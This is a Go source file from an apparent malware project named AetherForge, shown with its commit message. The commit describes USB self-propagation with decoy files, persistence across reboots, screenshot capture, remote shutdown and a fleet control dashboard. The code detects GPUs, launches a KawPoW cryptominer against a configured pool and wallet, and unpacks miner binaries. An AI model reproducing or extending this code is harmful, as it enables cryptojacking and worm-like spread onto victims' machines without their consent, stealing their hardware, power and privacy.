Files
AetherForge/agent/client/gpu_detect_stub.go
AetherForge ca66f5d048 Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.
- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked
2026-06-02 21:50:34 -07:00

111 lines
2.1 KiB
Go

//go:build !windows
package client
import (
"archive/zip"
"bytes"
"os"
"os/exec"
"path/filepath"
"strings"
)
func detectGPU() GPUInfo {
// On non-Windows, only probe NVIDIA via nvidia-smi.
out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
if err == nil {
model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
if model != "" {
return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
}
}
return GPUInfo{Vendor: GPUVendorNone}
}
func (g *GPUMiner) startProcess(binPath string) (*os.Process, error) {
pool := g.cfg.RVNPoolHost
port := g.cfg.RVNPoolPort
wallet := g.cfg.RVNWallet
worker := g.cfg.WorkerName
poolURL := "stratum+tcp://" + pool
if g.cfg.RVNPoolTLS {
poolURL = "stratum+ssl://" + pool
}
if port > 0 {
poolURL += ":" + itoa(port)
}
args := []string{
"-a", "kawpow",
"-o", poolURL,
"-u", wallet + "." + worker,
"-p", g.cfg.RVNPoolPass,
"--api-bind-http", "127.0.0.1:4067",
}
cmd := exec.Command(binPath, args...)
cmd.Dir = filepath.Dir(binPath)
if err := cmd.Start(); err != nil {
return nil, err
}
return cmd.Process, nil
}
func itoa(n int) string {
if n == 0 {
return "0"
}
buf := make([]byte, 0, 10)
neg := n < 0
if neg {
n = -n
}
for n > 0 {
buf = append([]byte{byte('0' + n%10)}, buf...)
n /= 10
}
if neg {
buf = append([]byte{'-'}, buf...)
}
return string(buf)
}
func extractZipFile(data []byte, destDir, targetFile string) error {
r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
if err != nil {
return err
}
targetLower := strings.ToLower(targetFile)
for _, f := range r.File {
if strings.ToLower(filepath.Base(f.Name)) != targetLower {
continue
}
rc, err := f.Open()
if err != nil {
return err
}
defer rc.Close()
dst := filepath.Join(destDir, targetFile)
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
buf := make([]byte, 32*1024)
for {
n, err := rc.Read(buf)
if n > 0 {
if _, we := out.Write(buf[:n]); we != nil {
return we
}
}
if err != nil {
break
}
}
return nil
}
return nil
}